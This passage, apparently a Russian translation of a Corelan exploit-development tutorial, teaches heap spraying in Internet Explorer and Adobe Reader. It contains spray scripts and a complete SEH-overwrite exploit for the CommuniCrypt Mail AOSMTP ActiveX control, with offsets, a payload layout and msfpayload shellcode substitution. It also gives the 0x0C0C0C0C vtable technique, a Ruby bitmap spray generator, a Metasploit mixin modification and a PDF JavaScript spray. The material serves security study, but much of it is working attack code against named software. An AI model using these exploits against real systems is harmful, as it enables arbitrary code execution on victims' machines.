        044a0018 fffc fffc  [0b]   044a0020    7ffe0 - (busy VirtualAlloc)
<...>
        0bf50018 fffc fffc  [0b]   0bf50020    7ffe0 - (busy VirtualAlloc)
        0bfe0018 fffc fffc  [0b]   0bfe0020    7ffe0 - (busy VirtualAlloc)
        0c070018 fffc fffc  [0b]   0c070020    7ffe0 - (busy VirtualAlloc)
        0c100018 fffc fffc  [0b]   0c100020    7ffe0 - (busy VirtualAlloc)
        0c190018 fffc fffc  [0b]   0c190020    7ffe0 - (busy VirtualAlloc)
        0c220018 fffc fffc  [0b]   0c220020    7ffe0 - (busy VirtualAlloc)
        0c2b0018 fffc fffc  [0b]   0c2b0020    7ffe0 - (busy VirtualAlloc)
        0c340018 fffc fffc  [0b]   0c340020    7ffe0 - (busy VirtualAlloc)
        0c3d0018 fffc fffc  [0b]   0c3d0020    7ffe0 - (busy VirtualAlloc)
<...>

Листинг 13. Первый запуск

UserSize такой же и мы видим тот же паттерн, как и в IE6. Сами адреса немного отличаются.

hs36
Рисунок 36. Дамп чанка по смещению 0x7FFE0-40

Этот скрипт явно лучше, чем предыдущий и явно быстрее. Теперь мы должны определиться с адресом, который будет указывать на nops, а это значит, что у нас будет универсальный сприпт для IE6 и IE7. Это подводит нас к следующему вопросу: что это за адрес такой и как он выглядит?

Предсказуемый указатель

Когда мы использовали первую версию скрипта, то могли отметить, что адреса кучи начинаются с 0x027…, 0x028…, 0x029… Размер чанков был довольно небольшими, а их размещение в памяти фрагментировано. Когда же мы использовали скрипт с Exploit-DB, размер чанков был явно больше, но мы должны по-прежнему видеть те же адреса. Кроме того, данные, размещенные по низким адресам, выглядят отличающимися между IE6 и IE7, поэтому мы будем выбирать диапазоны более старших адресов, т.к. они выглядят более надежными. Адреса, которые я обычно проверяю на предмет наличия nops:

  • 0x06060606
  • 0x07070707
  • 0x08080808
  • 0x09090909
  • 0x0A0A0A0A
  • И т.д.

В большинстве случаев (если не во всех), 0x06060606 обычно указывает на nops. Сделайте дамп по этому адресу после heap spray и убедитесь, что адрес действительно указывает на nops.

Для IE6:

hs37
Рисунок 37. Дамп памяти (IE6)

Для IE7:

hs38
Рисунок 38. Дамп памяти (IE7)

Конечно, вы можете использовать другой адрес в перечисленных диапазонах. Просто удостоверьтесь, что адрес каждый раз указывает на nops. Не менее важно протестировать heap spray на различных машинах несколько раз.

Кроме того, в браузере могут быть установлены некоторые аддоны, которые могут изменить картину кучи. Это означает, что для этих аддонов уже будет выделено некоторое количество памяти, что может иметь 2 последствия:

  • Потребуется меньшее количество итераций для достижения тех же адресов (поскольку часть памяти, возможно, уже была выделена для различных модулей, плагинов и т.д.)
  • Память может быть больше фрагментирована, поэтому вам, возможно, придется «распылять» больше и выбирать более высокий адрес (т.е. диапазон надежных адресов будет отличаться).

0x0c0c0c0c?

Возможно, вы заметили, что в более поздних эксплойтах люди склонны использовать адрес 0x0c0c0c0c. Для большинства heap spray обычно нет нужды использовать этот адрес (который значительно выше по сравнению с 0x06060606).

Фактически, для достижения этого адреса требуется больше итераций, больше нагрузки на CPU и «распыления» до 0x0c0c0c0c. Тем не менее, многие люди используют этот адрес, и я не уверен, знают ли люди, почему и когда это имеет смысл делать.

Я объясню, когда это целесообразно делать чуточку позже. Прежде всего, давайте подытожим и посмотрим, что нам нужно сделать после heap spray, чтобы превратить уязвимость в рабочий эксплойт.

Реализуем эксплойт на основе heap spray

Концепция

Достичь распыления кучи относительно просто. У нас есть рабочий скрипт. Остается только определить последовательность наших действий при эксплуатации. Как объяснялось ранее, вы должны сначала доставить полезную нагрузку в память, используя heap spray.

Когда heap spray завершен, и полезная нагрузка стала доступна в памяти процесса, необходимо вызвать повреждение памяти, которое приведет к контролю над EIP.

Когда вы получили контроль над EIP, то обычно пытаетесь определить местоположение полезной нагрузки, чтобы на нее сослаться через какую-либо инструкцию, указывающую на шеллкод.

Вместо поиска указателя на такую инструкцию или указателя на pop/pop/ret (чтобы вернуться к nSEH в случае перезаписи SEH-записи), вам просто нужно добавить указатель на адрес в куче (например, 0x06060606) в EIP и все.

Если DEP не включен, куча будет исполняемой, так что вы можете просто «вернуться в кучу» и без проблем выполнить nops + shellcode.

В случае перезаписи SEH-записи важно понимать, что нет нужды перезаписывать nSEH с помощью jump. Другими словами, если ни один из модулей не подходит для обхода SAFESEH, вы по-прежнему можете выполнить шеллкод, указав на адрес в куче.

Упражнение

Давайте в качестве демонстрации рассмотрим один пример. В мае 2010 года Линкольном из Corelan Team была обнаружена уязвимость в CommuniCrypt Mail. Вы можете найти эксплойт здесь.

Скачать копию уязвимого приложения можно тут. PoC демонстрирует, что мы можем перезаписать SEH-запись, используя длинный аргумент метода AOSMTP.Mail AddAttachments. Мы можем попасть в SEH-запись после 284 символов. Исходя из того, что вы можете видеть в эксплойте, очевидно, что в стеке достаточно места для размещения полезной нагрузки, а приложение использует non-safeseh модуль. Поэтому мы могли бы использовать указатель на pop/pop/ret для перехода к полезной нагрузке.

После установки приложения я быстро проверяю наличие бага при помощи ComRaider:


Рисунок 39. Фаззинг приложения с помощью ComRaider

Согласно отчету фаззера, мы можем контролировать запись в SEH-цепочке, а также указатель на адрес возврата. У нас есть 3 возможных сценария для эксплуатации:

  • Использовать сохраненный указатель возврата, чтобы перейти к шеллкоду
  • Использовать не валидный указатель, чтобы вызвать исключение и перезаписать SEH-запись для перехода к шеллкоду.
  • Проигнорировать сохраненный указатель (значение может быть валидным или нет) и посмотреть есть ли другой способ вызвать исключение (возможно путем увеличения размера
    буфера).

Мы воспользуемся вторым сценарием.

Итак, давайте перепишем этот эксплойт под XP SP3, IE7 (с отключенным DEP), используя heap spray, предполагая, что:

  • У нас недостаточно места в стеке для шеллкода
  • Мы перезапишем SEH-запись и будем использовать сохраненный указатель возврата, чтобы вызвать исключение
  • Приложение не использует non-safeseh модули

Во-первых, нам нужно написать скрипт для «распыления». У нас уже есть готовый код с Exploit-DB, нам нужно лишь его немного модифицировать, добавив объект в начало скрипта. (объект загружает запрашиваемую dll).

<!-- Load the AOSMTP Mail Object -->
<object id=”target” classid=”clsid:F8D07B72-B4B4-46A0-ACC0-C771D4614B82”></object>
// don't forget to remove the backslashes
var shellcode = unescape('%u\4141%u\4141');
var bigblock = unescape('%u\9090%u\9090');
var headersize = 20;
var slackspace = headersize + shellcode.length;
while (bigblock.length < slackspace) bigblock += bigblock;
var fillblock = bigblock.substring(0,slackspace);
var block = bigblock.substring(0,bigblock.length - slackspace);
while (block.length + slackspace < 0x40000) block = block + block + fillblock;
var memory = new Array();
for (i = 0; i < 500; i++){ 
memory[i] = block + shellcode 
}

Листинг 14. Содержимое файла spray_aosmtp.html

Откройте файл в IE7, и после «распыления» убедитесь, что:

  • 0x06060606 указывает на nops
  • AOSMTP.dll загружена процессом (потому что мы проинклудили AOSMTP-объект в начале нашего скрипта)

На этот раз я использую Immunity Debugger, потому что в нем проще просматривать свойства модулей с помощью mona.

hs40
Рисунок 40. Дамп 0x06060606 указывает на nops


Рисунок 41. AOSMTP.dll используется процессом

Пока все хорошо. Heap spray сработал и мы загрузили модуль, который будем использовать для переполнения. Далее нам необходимо определить смещения (для сохраненного указателя возврата и SEH-записи).

Для этого мы будем использовать простой циклический шаблон из 1000 байт и вызовем уязвимый метод AddAttachments:

<!-- Load the AOSMTP Mail Object -->
<object id="target" classid="clsid:F8D07B72-B4B4-46A0-ACC0-C771D4614B82"></target>
// exploit for CommuniCrypt Mail
// don't forget to remove the backslashes
shellcode = unescape('%u\4141%u\4141');
nops = unescape('%u\9090%u\9090');
headersize = 20;

// create one block with nops
slackspace = headersize + shellcode.length;
while(nops.length < slackspace) nops += nops;
fillblock= nops.substring(0, slackspace);

//enlarge block with nops, size 0x50000
block= nops.substring(0, nops.length - slackspace);
while(block.length+slackspace < 0x50000) block= block+ block+ fillblock;

//spray 250 times : nops + shellcode
memory=new Array();
for( counter=0; counter<250; counter++) memory[counter]= block + shellcode;

alert("Spray done, ready to trigger crash");

//trigger the crash
//!mona pc 1000
payload = "<paste the 1000 character cyclic pattern here>";

target.AddAttachments(payload);

Вы можете просто вставить 1000 символов в цикл. Мы имеем дело с обычным буфером стека и нам не нужно беспокоиться о символах юникода или использовании unescape.
В этот раз, аттачим процесс к отладчику перед открытием страницы, т.к. эта полезная нагрузка приведет к крашу процесса. С помощью кода выше мы можем воспроизвести падение процесса.


Рисунок 42. Краш процесса после выполнения сценария


Рисунок 43. Вывод !mona findmsp

Итак, мы перезаписали указатель возврата (как и ожидалось), а также SEH-запись. Смещения для указателя возврата и SEH-записи равны 272 и 284 соответственно. Мы решили воспользоваться тем, что можем контролировать адрес возврата, чтобы надежно инициировать access violation и вызвать SEH-обработчик.

В обычном SHE-эксплойте нам нужно найти указатель на pop/pop/ret в non-safeseh модуле и вернуться к nSEH. Мы используем heap spray, поэтому нам не нужно этого делать. Нам даже не нужно помещать что-то в поле nSEH, потому что мы не будем это использовать. Мы сделаем jump непосредственно в кучу.

Структура полезной нагрузки

Основываясь на этой информации, структура полезной нагрузки будет выглядеть следующим образом:


Рисунок 44. Структура полезной нагрузки

Мы перезапишем указатель возврата на 0xFFFFFFFF (чтобы наверняка вызвать исключение) и поместим AAAA в nSEH (т.к. мы его не используем). В SE-обработчик мы передадим наш адрес в куче (0x06060606) – это все, что нам нужно, чтобы перенаправить поток программы в nops + shellcode при возникшем исключении.

Теперь обновим скрипт и изменим некоторые значения:

<!-- Load the AOSMTP Mail Object -->
<object id="target" classid="clsid:F8D07B72-B4B4-46A0-ACC0-C771D4614B82"></target>
// don't forget to remove the backslashes
var shellcode = unescape('%u\cccc%u\cccc');
var bigblock = unescape('%u\9090%u\9090');
var headersize = 20;
var slackspace = headersize + shellcode.length;
while (bigblock.length < slackspace) bigblock += bigblock;
var fillblock = bigblock.substring(0,slackspace);
var block = bigblock.substring(0,bigblock.length - slackspace);
while (block.length + slackspace < 0x40000) block = block + block + fillblock;
var memory = new Array();
for (i = 0; i < 500; i++){ memory[i] = block + shellcode }

junk1 = "";
while(junk1.length < 272) junk1+="C";

ret = "\xff\xff\xff\xff";
junk2 = "BBBBBBBB";
nseh = "AAAA";
seh = "\x06\x06\x06\x06";

payload = junk1 + ret + junk2 + nseh + seh;

target.AddAttachments(payload);

Скрипт вызовет исключение (пытаясь выполнить FFFFFFFF, что является не валидным адресом в user-mode для 32 битных систем), а SEH-запись будет переписана на 06060606.


Рисунок 45. Результат выполнения эксплойта

Нажмите Shift+F9, чтобы передать исключение приложению, которое должно вызвать SEH-обработчик, который выполнит переход в кучу (06060606). Поскольку наш шеллкод – это лишь несколько точек останова, то вы должны увидеть что-то вроде этого:

hs46
Рисунок 46. SEH-обработчик выполнил переход на nops + shellcode

Чтобы завершить эксплойт, нам нужно заменить точки останова на что-то реальное. Мы можем воспользоваться Metasploit, чтобы сгенерировать полезную нагрузку в формате javascript.

Генерируем полезную нагрузку

В данном случае нет нужды кодировать шеллкод, поскольку мы размещаем данные в куче.


Рисунок 47. Генерация полезной нагрузки в Metasploit

Просто замените в скрипте точки останова результатом вывода команды msfpayload.

hs48
Рисунок 48. Успешное выполнение шеллкода

Протестируйте тот же эксплойт на IE6, вы должны получить тот же результат.

Вариации

Поскольку структура полезной нагрузки очень простая, мы можем проигнорировать ее и просто «распылять» буфер стека адресом, который мы использовали. Т.к. мы перезаписываем указатель возврата и SEH-обработчик, то нам не так важно, как мы перейдем к полезной нагрузке. Мы просто можем написать 0x06060606 повсюду и в итоге выполним шеллкод.

payload = "";
while(payload.length < 300) payload+="\x06";

target.AddAttachments(payload);

DEP

С включенным DEP все немного по-другому. В одной из следующих глав я расскажу о DEP и о необходимости точечного распыления.

Тестируем heap spray

При создании любого эксплойта, важно убедиться в его надежности и heap spray не исключение. Важно иметь контроль над EIP, т.к. от этого зависит переход к полезной нагрузке.
При использовании heap spray вам нужно убедиться, что адрес с шеллкодом действительно предсказуем и надежен. Единственный способ сделать это – тестировать, тестировать и еще раз тестировать.

  • Проверяйте на нескольких системах. Используйте патченные системы (патченные ОС и версии IE). Используйте системы с большим количеством дополнений, плагинов и без них.
  • Проверьте, работает ли код, если вы спрячете эксплойт в недрах какой-нибудь обычной html-страницы. Проверьте, работает ли ваш heap spray из различных тегов, например, iframe и т.п.
  • Убедитесь, что вы отлаживаете нужный процесс
    Используя PyDBG, вы можете автоматизировать часть тестов.
  • Запустите IE и загрузите html-страницу, которая будет выполнять heap spray
  • Найдите PID процесса (в случае с IE8 и IE9 убедитесь, что вы подключаетесь к корректному процессу)
  • Подождите пока выполняется «распыление»
  • Сделайте дамп памяти по надежному адресу и убедитесь, что все сделано правильно. Запишите результат
  • Убейте процесс и повторите снова

Конечно, вы также можете использовать простой скрипт в windbg, чтобы выполнить почти все из вышеперечисленного. Создайте файл «spraytest.windbg» и сохраните его в папку программы «c:\programm files\Debugging Tools for Windows(x86)»:

bp mshtml!CDivElement::CreateElement "dd 0x0c0c0c0c;q"
.logopen spraytest.log
g

Далее напишите небольшой (python или любой другой) скрипт, который будет:

  • Осуществлять переход в папку «c:\programm files\Debugging Tools for Windows(x86)»
  • Запускать windbg -c “$
  • Копировать содержимое файла spraytest.log в другой файл при каждом новом запуске windbg
  • Повторять процесс столько, сколько вам нужно

В файле spraytest.html перед закрывающим тегом добавьте:

<...>
while (block.length + slackspace < 0x40000) block = block + block + fillblock;
var memory = new Array();
for (i = 0; i < 500; i++){ memory[i] = block + shellcode }

Создание этого тега должно вызвать точку останова, сделайте дамп 0x0C0C0C0C и убейте процесс. Лог должен содержать nops. Таким образом вы можете проанализировать насколько хорошим был ваш heap spray.

Opened log file 'spraytest.log'
0:013> g
0c0c0c0c  90909090 90909090 90909090 90909090
0c0c0c1c  90909090 90909090 90909090 90909090
0c0c0c2c  90909090 90909090 90909090 90909090
0c0c0c3c  90909090 90909090 90909090 90909090
0c0c0c4c  90909090 90909090 90909090 90909090
0c0c0c5c  90909090 90909090 90909090 90909090
0c0c0c6c  90909090 90909090 90909090 90909090
0c0c0c7c  90909090 90909090 90909090 90909090
quit:

Для IE8, вы должны:

  • Запустить IE8 и открыть html-страницу
  • Подождать пока завершится «распыление»
  • Найти PID процесса
  • Использовать ntsd.exe (должен быть в папке с windbg), чтобы присоединиться к процессу, сделать дамп 0x0C0C0C0C и выйти
  • Убить все процессы iexplore.exe
  • Сохранить лог
  • Повторить

Альтернативный скрипт для heap spray

Skylined написал генератор скриптов для heap spray, который генерирует небольшие сценарии для эксплуатации уязвимости. На веб-сайте написано, что фактический код составляет чуть более 70 байт (без учета шеллкода, который вы, конечно, хотите доставить) и может быть сгенерирован с помощью веб-формы.

Вместо использования \uXXXX или %uXXXX реализован кастомный энкодер/декодер, который упрощает задачу. Перейдя к онлайн-форме, вы должны увидеть что-то вроде этого:


Рисунок 49. Веб-форма генератора скриптов

В первом поле вам нужно ввести шеллкод. Необходимо вставлять байты, разделенные пробелом.

(Просто создайте шеллкод с помощью msfpayload и выведите результат как С. Скопируйте и вставьте вывод msfpayload в текстовый файл и замените «\x» пробелом, удалите двойные кавычки и точку с запятой).


Рисунок 50. Генерация шеллкода с помощью msfpayload

hs51
Рисунок 51. Отформатированный шеллкод

Затем установите нужный адрес (по умолчанию используется 0x0C0C0C0C) и размер блока (кратный 0x10000). Значения по умолчанию должны корректно работать с IE6, IE7.

Нажмите «execute», чтобы сгенерировать скрипт.


Рисунок 52. Генерация сценария

Вставьте код в тег вашего html-файла.


Рисунок 53. Содержимое файла skylined.html

Откройте файл в IE7. После дампа 0x0C0C0C0C вы должны увидеть:

hs54
Рисунок 54. Дамп памяти по адресу 0x0C0C0C0C

Вы узнаете больше об использовании 0x0C в качестве nop в одной из следующих глав. Взгляните на конец чанка, вы должны увидеть шеллкод:


Рисунок 55. Шеллкод расположен в конце чанка

Обзор совместимости сценария с различными версиями браузеров

Это обзор различных браузеров, протестированных на XP SP3, демонстрирующих возможность к heap spray с помощью скрипта, который мы использовали ранее. Во всех случаях я проверил, было ли «распыление» по адресу 0x06060606 (если не указано обратное).

Браузер и версия Работает ли скрипт?

img-2019-09-30-12-02-45
Немного изменив скрипт (в основном увеличивая количество итераций при распылении кучи), можно добраться до адреса 0x0A0A0A0A, который будет указывать на nops во всех браузерах, перечисленных выше (кроме тех, где скрипт не работал конечно).

С другой стороны, как видно из таблицы сравнения, более новые версии браузеров так или иначе «защищены» от такого типа heap spraying.

В каких случаях использование 0x0C0C0C0C действительно имеет смысл?

Как говорилось ранее, множество эксплойтов, основанных на heap spray используют адрес 0x0C0C0C0C. Теперь вам должно быть понятно, что нет необходимости «распылять» до 0C0C0C0C, чтобы заставить эксплойт работать, однако, бывают ситуации, когда это необходимо.

Если эксплойт перезаписывает vtable в стеке или куче и вы получаете контроль над EIP, обращаясь по указателю функции из vtable, вам может потребоваться использовать указатель на указатель или даже указатель на указатель на указатель для перехода к полезной нагрузке. Поиск надежных указателей на указатели в новых чанках кучи может быть проблематичным или даже невозможным. Но есть решение.

Давайте рассмотрим простой пример. Следующие несколько строк кода на С++ помогут продемонстрировать то, как выглядит vtable:

#include 
#include 

using namespace std;

class corelan {
      public:
             void process_stuff(char* input)
             {
              char buf[20];
              strcpy(buf,input);
             //virtual function call 
              show_on_screen(buf);
              do_something_else();
             }

      virtual void show_on_screen(char* buffer)
      {
          printf("Input : %s",buffer);
      }

      virtual void do_something_else()
      {

      }
};

int main(int argc, char *argv[])
{
    corelan classCorelan;
    classCorelan.process_stuff(argv[1]);
}

Листинг 15. Содержимое файла vtable.c

hs56
Рисунок 56. Результат работы программы vtable.exe

Класс corelan (объект) содержит public-функцию и две virtual-функции. Когда создается экземпляр класса, создается также vtable, содержащая два указателя virtual-функций. При создании объекта его указатель сохраняется где-то (в стеке или куче). Взаимодействие между объектом и непосредственно функциями внутри класса выглядит следующим образом:


Рисунок 57. Схема указателей

Когда требуется вызвать одну из virtual-функций (которые являются частью vtable) внутри объекта, то обращение происходит через ссылки на них следующим образом:

  • Указатель на объект, содержащий vtable
  • Указатель на необходимую vtable
  • Смещение от начала vtable для доступа к фактическому указателю на функцию

Допустим, указатель на объект взят из стека и помещен в EAX:

MOV EAX,DWORD PTR SS:[EBP+8]

Затем из объекта извлекается указатель на vtable (размещен наверху объекта):

MOV EDX,DWORD PTR DS:[EAX]

Допустим, мы собираемся вызвать вторую функцию из vtable:

MOV EAX,[EDX+4]
CALL EAX

Иногда две последние инструкции могут быть выделены в одну [CALL EDX+4], хотя более вероятно встретить CALL, который использует [EAX+offset].

В любом случае, если вы перезаписали начальный указатель в стеке на 41414141, то можете получить access violation:

MOV EDX,DWORD PTR DS:[EAX] : Access violation reading 0x41414141

Если вы контролируете этот адрес, вы можете использовать серию разыменований (указатель на указатель на …), чтобы получить контроль над EIP.

Если heap spray является единственным способом доставки полезной нагрузки, то это может вызвать некоторые проблемы. Поиск указателя на указатель адреса в куче, содержащий полезную нагрузку будет вопросом удачи.

К счастью, есть другой способ. Использование вышеупомянутого 0x0C0C0C0C. Вместо того, чтобы помещать nops+shellcode в каждый блок, вы должны поместить серию 0x0C+shellcode в каждый чанк (проще говоря, заменить nops на 0x0C) и убедиться, что по адресу 0x0C0C0C0C также содержатся 0c0c0c0c0c0c и т.д.

Затем вам нужно перезаписать указатель на 0x0C0C0C0C. Вот что должно произойти:

MOV EAX,DWORD PTR SS:[EBP+8]  <- 0x0c0c0c0c в EAX

Поскольку по адресу 0x0C0C0C0C содержится 0x0C0C0C0C, то в следующей инструкции:

MOV EDX,DWORD PTR DS:[EAX]  <-  0x0c0c0c0c in EDX

Наконец, указатель помещается в EAX с последующим вызовом:

MOV EAX,[EDX+4] <- 0x0c0c0c0c in EAX
CALL EAX        <- jump на 0x0c0c0c0c и вызов полезной нагрузки по этому адресу

Поскольку 0x0C0C0C0C будет адресом vtable, которая содержит этот же паттерн, то все вызовы в конечном итоге будут попадать в эту область. Проще говоря, если 0x0C0C0C0C содержит 0x0C0C0C0C, мы в конечном итоге выполним инструкции 0С 0С 0С 0С…

hs58
Рисунок 58. OR AL, 0C…NOP-подобные инструкции

Таким образом, используя адрес, который как опкод действует как nop и содержит байты, которые указывают сами на себя, мы можем легко превратить перезапись указателя vtable в произвольное выполнение кода, используя heap spray с использованием 0x0C0C0C0C. В данном случае это отличный вариант, но могут быть и другие.

В теории, вы можете использовать любое смещение с опкодом 0С, но вы должны убедиться в том, что heap spray достигнут (на пример до 0x0C0D0C0D).

Использование 0D также будет работать, однако инструкция, состоящая из 0D использует 5 байтов, что может стать проблемой при выравнивании.

0D 0D0D0D0D      OR EAX,0D0D0D0D

В любом случае, вам теперь должно стать ясно почему использование 0x0C0C0C0C может быть хорошей идеей и даже необходимостью. Однако, в большинстве случаев вам не потребуется осуществлять распыление до 0x0C0C0C0C. Поскольку это очень популярный адрес, то возможно для него будут установлены IDS-флаги.

Примечание: если вы хотите узнать больше про указатели, vtable и т.д., то советую прочитать отличную статью от Jonathan Afek и Adi Sharabani, а также статью Lurene Grenier о DEP и Heap Spray.

1 Like

Альтернативные способы heap spray

Изображения

В 2006 году Грег МакМанус и Майкл Саттон из iDefense опубликовали статью Punk Ode, в которой было показано использование изображений при heap spray. Также они опубликовали несколько скриптов в дополнение к докладу, но я не помню чтобы видел огромное количество публичных эксплойтов, использующих эту технику.

Моше Бен Абу (Trancer) из www.rec-sec.com подхватил эту идею и упомянул об этом в 2010 году на одной из встреч OWASP. Он написал неплохой скрипт на ruby и позволил мне его опубликовать в этом уроке.

# written by Moshe Ben Abu (Trancer) of www.rec-sec.com
# published on www.corelan.be with permission

bmp_width			= ARGV[0].to_i
bmp_height			= ARGV[1].to_i
bmp_files_togen		= ARGV[2].to_i

if (ARGV[0] == nil)
	bmp_width 		= 1024
end

if (ARGV[1] == nil)
	bmp_height 		= 768
end

if (ARGV[2] == nil)
	bmp_files_togen	= 128
end

# size of bitmap file calculation
bmp_header_size		= 54
bmp_raw_offset		= 40
bits_per_pixel 		= 24
bmp_row_size 		= 4 * ((bits_per_pixel.to_f * bmp_width.to_f) / 32)
bmp_file_size 		= 54 + (4 * ( bits_per_pixel ** 2 ) ) + ( bmp_row_size * bmp_height )

bmp_file			= "\x00" * bmp_file_size
bmp_header			= "\x00" * bmp_header_size
bmp_raw_size		= bmp_file_size - bmp_header_size

# generate bitmap file header
bmp_header[0,2]		= "\x42\x4D"					
# "BM"
bmp_header[2,4]		= [bmp_file_size].pack('V')		
# size of bitmap file
bmp_header[10,4]	= [bmp_header_size].pack('V')	
# size of bitmap header (54 bytes)
bmp_header[14,4]	= [bmp_raw_offset].pack('V')	
# number of bytes in the bitmap header from here
bmp_header[18,4]	= [bmp_width].pack('V')			
# width of the bitmap (pixels)
bmp_header[22,4]	= [bmp_height].pack('V')		
# height of the bitmap (pixels)
bmp_header[26,2]	= "\x01\x00"					
# number of color planes (1 plane)
bmp_header[28,2]	= "\x18\x00"					
# number of bits (24 bits)
bmp_header[34,4]	= [bmp_raw_size].pack('V')		
# size of raw bitmap data

bmp_file[0,bmp_header.length] = bmp_header

bmp_file[bmp_header.length,bmp_raw_size] = "\x0C" * bmp_raw_size

for i in 1..bmp_files_togen do
	bmp = File.new(i.to_s+".bmp","wb")
	bmp.write(bmp_file)
	bmp.close
end

Листинг 16. Содержимое файла bmpheapspray_standalone.rb

Этот скрипт создаст простое bmp-изображение, которое содержит повсюду 0x0C. Запустите скрипт, указав желаемую ширину, высоту и количество создаваемых файлов:

root@bt:/spray# ruby bmpheapspray_standalone.rb 1024 768 1
root@bt:/spray# ls -al
total 2320
drwxr-xr-x  2 root root    4096 2011-12-31 08:52 .
drwxr-xr-x 28 root root    4096 2011-12-31 08:50 ..
-rw-r--r--  1 root root 2361654 2011-12-31 08:52 1.bmp
-rw-r--r--  1 root root    1587 2011-12-31 08:51 bmpheapspray_standalone.rb
root@bt:/spray# 

Файл весит почти 2,5 Мб. Если мы создадим простой html-файл и добавим изображение в разметку, то сможем инициировать выделение памяти, содержащее входные данные (в нашем случае 0x0C).

Для XP3, IE7:

0:014> s -b 0x00000000 L?0x7fffffff 00 00 00 00 0c 0c 0c 0c
00cec630  00 00 00 00 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0d  ................
0397fffc  00 00 00 00 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................  <- !
102a4734  00 00 00 00 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 00 00  ................
4ecde4f4  00 00 00 00 0c 0c 0c 0c-0c 0c 0c 0c 0c 07 07 07  ................
779b6af0  00 00 00 00 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0d  ................
7cdf5420  00 00 00 00 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0d  ................
7cfbc420  00 00 00 00 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0d  ................
0:014> d 00397fffc
0397fffc  00 00 00 00 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
0398000c  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
0398001c  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
0398002c  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
0398003c  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
0398004c  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
0398005c  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
0398006c  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................

(В IE8 мы должны получить похожий результат)

Если мы создадим больше файлов и добавим их в html (70 или более), то должны увидеть следующее:

hs59
Рисунок 59. Дамп памяти по адресу 0x0C0C0C0C

Конечно, передача и загрузка 70 bmp-файлов размером 2,5 Мб занимает некоторое время. Возможно, существует способ ограничить передачу данных одним файлом, а затем инициировать множественные загрузки одного и того же файла, вызывая тем самым дополнительные выделения памяти. Если кто-нибудь знает как это сделать – дайте знать.

Сжатие GZip также может быть полезным в определенной степени.

«Распыление» изображений с помощью Metasploit

Моше Бен Абу создал миксин для Metasploit (bmpheapspray.rb). Mixin находится не в официальном репозитории, поэтому вы должны добавить его вручную.

Положите файл в папку с Metasploit:

lib/msf/core/exploit

Затем, измените файл lib/msf/core/exploit/mixins.rb и добавьте строку:

require ‘msf/core/exploit/bmpheapspray’

Чтобы продемонстрировать использование миксина, он модифицировал существующий модуль (ms11_003), включив в него миксин, и вместо обычного строкового «распыления» использовал bmp-файлы. Сначала модуль генерирует растровый файл.

hs60
Рисунок 60. Содержимое эксплойта [1]

Затем добавляется ряд html-тегов.


Рисунок 61. Содержимое эксплойта [2]

hs62
Рисунок 62. Содержимое эксплойта [3]

Когда клиент запрашивает файл bmp, то происходит следующее:


Рисунок 63. Содержимое эксплойта [4]

Убедитесь, что у вас отсутствует обновление безопасности IE 2482017 (или более поздние) в тестовой системе, чтобы иметь возможность вызвать уязвимость.

Запустите эксплойт:


Рисунок 64. Демонстрация эксплуатации уязвимости [1]

hs65
Рисунок 65. Демонстрация эксплуатации уязвимости [2]

Изображение было загружено 128 раз:

hs66
Рисунок 66. Демонстрация атаки [3]

Как вы можете видеть даже отключение javascript в браузере не мешает работе атаки heap spray.
Конечно, может быть и такое, что javascript требуется для эксплуатации, но это уже совсем другая история.

Примечание: в моем случае было достаточно использование загрузки файла 50-70 раз

Heap Spray в других приложениях

Heap Spraying не ограничивается лишь браузерами. Любое приложение, размещающее данные в куче, может быть кандидатом на «распыление». Браузеры являются популярной мишенью из-за поддержки javascript, но, безусловно, есть и другие приложения, имеющие некоторую поддержку сценариев, что позволяет делать почти то же самое.

Даже многопоточные приложения или сервисы могут быть использованы для heap spraying. Каждое соединение может быть использовано для доставки больших объемов данных. Возможно, вам потребуется держать соединения открытыми, чтобы предотвратить очистку памяти, но однозначно существуют возможности, которые стоит попробовать.

Давайте рассмотрим несколько примеров.

Adobe PDF Reader: Javascript

Примером другого приложения, поддерживающего javascript может служить Adobe Reader. Мы не можем не попробовать использовать heap spray внутри процесса Acrobat Reader.

Чтобы это проверить, мы должны найти простой способ создания PDF-файла, содержащего javascript-код. Для этой цели мы могли бы использовать различные библиотеки на python, ruby или написать собственный инструмент. Пока что я остановлюсь на скрипте Дидье Стивенса «make-pdf» (который использует библиотеку mPDF).

Прежде всего, установите последнюю 9.x версию Adobe Reader. Затем загрузите копию make-pdf из блока Дидье Стивенса. После распаковки zip-файла вы увидите скрипт make-pdf-javascript.py и библиотеку mpdf. Мы поместим наш javascript в отдельный текстовый файл и используем его в качестве входных данных для скрипта. На скриншоте ниже представлен файл adobe_spray.txt, который мы использовали в предыдущих упражнениях:

hs67
Рисунок 67. Содержимое файла adobe_spray.txt

Запустите скрипт и используйте текстовый файл в качестве параметра.

python make-pdf-javascript.py -f adobe_spray.txt test.pdf

Откройте test.pdf в Acrobat Reader и подождите пока страница загрузится.

hs68
Рисунок 68. Интерфейс Adobe Reader

Аттачим windbg к процессу AcroRd32.exe и делаем дамп 0x0A0A0A0A или 0x0C0C0C0C.

hs69
Рисунок 69. Дамп памяти по адресам 0x0A0A0A0A, 0x0C0C0C0C

Отлично – тот же скрипт, корректный результат. Единственное, что вам нужно – этой найти баг в Adobe Reader (что может быть не простой задачей), получив контроль над EIP и перенаправить поток программы в кучу. На случай, если вам интересно: этот скрипт хорошо работает также в Adobe Reader X.

Adobe Flash Actionscript

